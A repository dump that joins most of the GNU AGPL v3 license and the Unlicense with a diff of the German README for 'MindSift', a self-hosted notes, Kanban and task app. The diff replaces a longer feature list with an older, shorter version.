permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Remote Network Interaction; Use with the GNU General Public License.
Notwithstanding any other provision of this License, if you modify the
Program, your modified version must prominently offer all users
interacting with it remotely through a computer network (if your version
supports such interaction) an opportunity to receive the Corresponding
Source of your version by providing access to the Corresponding Source
from a network server at no charge, through some standard or customary
means of facilitating copying of software. This Corresponding Source
shall include the Corresponding Source for any work covered by version 3
of the GNU General Public License that is incorporated pursuant to the
following paragraph.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the work with which it is combined will remain governed by version
3 of the GNU General Public License.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU Affero General Public License from time to time. Such new versions
will be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU Affero General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU Affero General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU Affero General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If your software can interact with users remotely through a computer
network, you should also make sure that it provides a way for users to
get its source. For example, if your program is a web application, its
interface could display a "Source" link that leads users to an archive
of the code. There are many ways you could offer source, and different
solutions will be better for different programs; see section 13 for the
specific requirements.
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU AGPL, see
<https://www.gnu.org/licenses/>.
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or
distribute this software, either in source code form or as a compiled
binary, for any purpose, commercial or non-commercial, and by any
means.
In jurisdictions that recognize copyright laws, the author or authors
of this software dedicate any and all copyright interest in the
software to the public domain. We make this dedication for the benefit
of the public at large and to the detriment of our heirs and
successors. We intend this dedication to be an overt act of
relinquishment in perpetuity of all present and future rights to this
software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
For more information, please refer to <https://unlicense.org>
+36 -90
View File
@@ -6,16 +6,14 @@
[![Self-Hosted](https://img.shields.io/badge/100%25-Self--Hosted-2563eb?style=flat-square)](#)
[![Docker](https://img.shields.io/badge/Deployment-Single%20Container-2496ed?style=flat-square&logo=docker&logoColor=white)](#-schnellstart)
[![SQLite](https://img.shields.io/badge/Daten-SQLite-003b57?style=flat-square&logo=sqlite&logoColor=white)](#-deine-daten-gehören-dir)
[![Version](https://img.shields.io/badge/Version-v0.67.0-16a34a?style=flat-square)](CHANGELOG.md)
[![Version](https://img.shields.io/badge/Version-v0.4-16a34a?style=flat-square)](#-schnellstart)
**MindSift** ist eine selbst gehostete Schaltstelle für spontane Gedanken, Aufgaben mit Kanban-Board, hierarchische Outliner-Notizen, die mehrere Personen gleichzeitig bearbeiten können, und gemeinsame Listen. Alles läuft als ein einzelner Container mit eingebetteter SQLite-Datenbank, auf deinem eigenen Server.
<p align="center">
<img src="screenshots/Triage_desktop.webp" alt="MindSift Triage am Desktop, links hell, rechts dunkel" width="85%" />
<img src="screenshots/Triage_desktop.png" alt="MindSift Triage Desktop" width="85%" />
</p>
<sub>Links das helle, rechts das dunkle Theme.</sub>
[Philosophie](#-die-philosophie) • [Funktionen](#-funktionen) • [Schnellstart](#-schnellstart) • [Betrieb](#-betrieb--konfiguration) • [Entwicklung](#-entwicklung) • [Dokumentation](#-dokumentation)
</div>
@@ -36,107 +34,70 @@ Die meisten Notiz- und Aufgaben-Apps verlangen Struktur im falschen Moment: Wenn
### ⚡ Schnellerfassung & Triage
* Eingabeleiste im Kopf der App, jederzeit mit `C` oder `/` fokussierbar; auch per Spracheingabe: über den Browser oder datenschutzfreundlich über einen eigenen Whisper-Container (optional in `docker-compose.yml`, siehe [Architektur](Doku/architecture.md#spracherkennung)); auf Smartphones auch per Gedrückthalten des `+`-Knopfs (Hold-to-Record mit Pegel-Wellen).
* Ziel beim Erfassen wählbar: Posteingang, Aufgabe (mit Aufgabenliste), Listeneintrag oder Notiz; die Wahl bleibt für die nächsten Einträge stehen. Mit eigenem Whisper-Server erscheint der Text schon beim Sprechen; jede Person wählt selbst, ob ihr Mikrofon Whisper oder die Erkennung des Browsers nutzt.
* **Triage-Deck:** `H`/`←` verwerfen, `L`/`→` zur Aufgabe, `T` Aufgabe mit Termin, `D` in Notiz verwandeln, Leertaste = später. Auf dem Smartphone per Wischgeste oder über große Knöpfe unter der Karte; die Warteschlange klappt bei Bedarf auf.
* **Teilen aus anderen Apps:** Als installierte App erscheint MindSift im Teilen-Menü des Smartphones; geteilte Texte und Links landen im Posteingang und lassen sich direkt danach mit einem Tipp zur Aufgabe oder auf eine Liste schicken.
* Papierkörbe mit Wiederherstellen für verworfene Gedanken, gelöschte Aufgaben und Notizen; unter Kontoeinstellungen → Aufbewahrung legt jede Person fest, nach wie vielen Tagen Erledigtes und Gelöschtes aufgeräumt wird.
* Eingabeleiste im Kopf der App, jederzeit mit `C` oder `/` fokussierbar; auch per Spracheingabe (Browser-Funktion).
* Ziel beim Erfassen wählbar: Posteingang, Aufgabe, Listeneintrag oder Notiz.
* **Triage-Deck:** `H`/`←` verwerfen, `L`/`→` zur Aufgabe, `T` Aufgabe mit Termin, `D` in Notiz verwandeln, Leertaste = später. Auf dem Smartphone per Wischgeste.
* Papierkorb mit Wiederherstellen.
<p align="center">
<img src="screenshots/Mobile_Triage.webp" alt="MindSift Triage am Smartphone, helles Theme" width="280px" />
&nbsp;&nbsp;
<img src="screenshots/Mobile_Workspace.webp" alt="MindSift Notiz am Smartphone, dunkles Theme" width="280px" />
<img src="screenshots/Mobile_Triage.png" alt="MindSift Mobile Triage" width="280px" />
</p>
### ✅ Aufgaben & Kanban
* Listen- und Kanban-Ansicht, Spalten pro Aufgabenliste frei konfigurierbar (Name, Farbe, Erledigt-Spalte). „Alle Aufgaben“ führt die Spalten aller Listen nach Namen zu einem Board zusammen.
* Listen- und Kanban-Ansicht, Spalten pro Aufgabenliste frei konfigurierbar.
* Prioritäten, Fälligkeitsdatum, Hashtags, Unteraufgaben mit Fortschrittsbalken, Markdown-Notizen.
* Filter, Gruppierung und Sortierung; Drag & Drop in Liste und Board, auch auf den Reiter einer anderen Aufgabenliste. `Strg+Z` nimmt Löschen, Verschieben und Abhaken zurück.
* **Papierkorb und Aufbewahrung:** Gelöschte und aufgeräumte Aufgaben lassen sich aus dem Papierkorb zurückholen; erledigte Aufgaben wandern nach einer selbst gewählten Frist (Standard 30 Tage) dorthin.
* Filter, Gruppierung und Sortierung; Drag & Drop in Liste und Board.
* **Aufgabenlisten teilen** mit Benutzern oder Gruppen, wahlweise als **Bearbeiter** oder **nur lesend**.
* **Aufgaben beobachten:** Beliebige Aufgaben per Klick abonnieren, um über alle Änderungen informiert zu werden.
* **Wiederholungen:** Wiederkehrende Aufgaben (täglich, wöchentlich, monatlich, jährlich) mit automatischer Folgeaufgabe beim Abhaken.
* **Tageszusammenfassung:** Tägliche Übersicht fälliger Aufgaben zur selbst gewählten Uhrzeit per E-Mail, Discord, eigenem Webhook oder Push.
* **Push-Benachrichtigungen** auf Handy und Desktop (auch bei geschlossener App; iPhone/iPad als Home-Bildschirm-App), als eigener Kanal je Ereignis.
* **Alarme & Benachrichtigungen:** Fälligkeits-Alarme sofort, alle übrigen Ereignisse (Freigaben, erledigte geteilte Aufgaben, beobachtete Aufgaben) gebündelt; pro Ereignis wählbar über E-Mail, Discord, eigenen Webhook und Push.
* **Alarme** bei Fälligkeit per E-Mail, Discord oder eigenem Webhook.
<p align="center">
<img src="screenshots/aufgaben_desktop.webp" alt="MindSift Aufgaben und Kanban-Board" width="90%" />
<img src="screenshots/aufgaben_desktop.png" alt="MindSift Aufgaben und Kanban-Board" width="90%" />
</p>
### 📝 Workspace: Outliner-Notizen
* Jeder Gedanke ein Bullet: `Enter`, `Tab`/`Shift+Tab`, Ein-/Ausklappen, Drag & Drop ganzer Äste; am Handy eine Leiste über der Tastatur zum Ein-/Ausrücken und Verschieben. Text lässt sich mit der Maus über mehrere Punkte markieren und wie in einem Texteditor löschen, ersetzen oder kopieren.
* **Zoom-Fokus** per Klick auf den Bullet, Breadcrumbs zum Zurücknavigieren; **Fokus-Modus** (`Strg+Umschalt+F`) zeigt nur die Notiz in Lesebreite, Ordner gleiten bei Bedarf von links herein, Ordnerleiste und obere Leiste lassen sich anpinnen. Am Desktop schiebt Scrollen im Hintergrund (neben der Notiz) die Leiste mit Notizen, To-Dos und Hashtags nach oben heraus.
* **Journal:** eine Notiz pro Tag, alle Tage untereinander (heute oben, ältere laden beim Scrollen nach), mit Kalender zum Springen; einzelne Tage lassen sich teilen. Pro Gerät abschaltbar.
* Blocktypen und Slash-Befehle: `/todo`, `/number` (nummerierte Liste: 1., a., i.), `/link`, `/h1`–`/h3`, `/code` (mit Syntax-Hervorhebung), `/callout`, `/divider`, `/extract`, `/image`, `/audio`, `/diktat`.
* **Bilder & Audio in Notizen:** `/image` (Datei, Kamera, Zwischenablage oder Link), `/audio` (Sprachnotiz oder Datei-Upload) und `/diktat` (Live-Transkription).
* **Link-Vorschau:** Vorschaukarte (Titel, Beschreibung, Bild) für Punkte, die nur aus einer Web-Adresse bestehen, z. B. über `/link`; die Seite ruft der Server ab, nicht dein Browser. Pro Gerät abschaltbar.
* **Ast auslagern & Notizen zusammenführen:** Bulletpoints samt Unterbaum in eigenständige Notizen auslagern (`/extract`) oder Notizen per Drag & Drop bzw. Menü zusammenführen (jeweils mit vollständiger Rückgängig-Funktion).
* Wiki-Links `[[Notiz]]`, auch auf **einzelne Punkte** (`[[Notiz#^id|Text]]`, kopierbar an jedem Punkt), Links und `#Hashtags`; Tag-Seiten bündeln alle Fundstellen.
* **Globale Suche** (`Strg+K`) über Notizen, einzelne Punkte, Aufgaben und Listen: Filter nach Art per Klick oder `Tab`, Aufgaben und Einträge direkt abhaken; die große Ansicht filtert zusätzlich nach Status, Liste, Priorität, Fälligkeit oder Ordner und zeigt den Zusammenhang jedes Treffers.
* Ordner, Favoriten, **To-Do-Rollup** über alle Notizen und Export einer Notiz als `.md`. Mehrere Notizen mit `Strg`/`Shift`+Klick markieren und gemeinsam in einen Ordner oder auf den Papierkorb ziehen. Notizen und Listen bekommen ein Emoji als Symbol, oder keins.
* **Aufgaben aus Notizen:** Ein Häkchen lässt sich zur Aufgabe erweitern (und eine Aufgabe zur Notiz vertiefen); Haken, Titel und Unteraufgaben bleiben in beide Richtungen abgeglichen.
* Eingefügtes Markdown wird zur Gliederung: Überschriften werden zu Abschnitten mit eingerücktem Inhalt, Listen (auch nummeriert) behalten ihre Ebenen, Absätze werden eigene Punkte. Kürzel beim Tippen: `- `, `1. `, `[] `, `# `, `Strg+B`/`I`/`K`. `Strg+Z` / `Strg+Umschalt+Z` nimmt eigene Änderungen zurück bzw. stellt sie wieder her.
* Jeder Gedanke ein Bullet: `Enter`, `Tab`/`Shift+Tab`, Ein-/Ausklappen, Drag & Drop ganzer Äste.
* **Zoom-Fokus** per Klick auf den Bullet, Breadcrumbs zum Zurücknavigieren.
* Blocktypen und Slash-Befehle: `/todo`, `/link`, `/h1`–`/h3`, `/code` (mit Syntax-Hervorhebung), `/callout`, `/divider`.
* Wiki-Links `[[Notiz]]`, Links und `#Hashtags`; Tag-Seiten bündeln alle Fundstellen.
* Ordner, Favoriten, **To-Do-Rollup** über alle Notizen und Export einer Notiz als `.md`.
* Einfügen von mehrzeiligem Markdown wird in Blöcke zerlegt; `Strg+Z` / `Strg+Umschalt+Z` nimmt eigene Änderungen zurück bzw. stellt sie wieder her.
* **Teilen:** Notizen und ganze Ordner lassen sich Benutzern oder Gruppen als **Bearbeiter** oder **Leser** freigeben. Empfänger sortieren sie in ihren eigenen Baum ein.
#### 🤝 Gemeinsam bearbeiten
* **Live:** Mehrere Personen schreiben gleichzeitig in derselben Notiz; Änderungen erscheinen bei den anderen in Bruchteilen einer Sekunde. Die Leiste über der Notiz zeigt, wer gerade mitliest.
* **Live:** Mehrere Personen schreiben gleichzeitig in derselben Notiz; Änderungen erscheinen bei den anderen in Bruchteilen einer Sekunde. Der Kopf der Notiz zeigt, wer gerade mitliest.
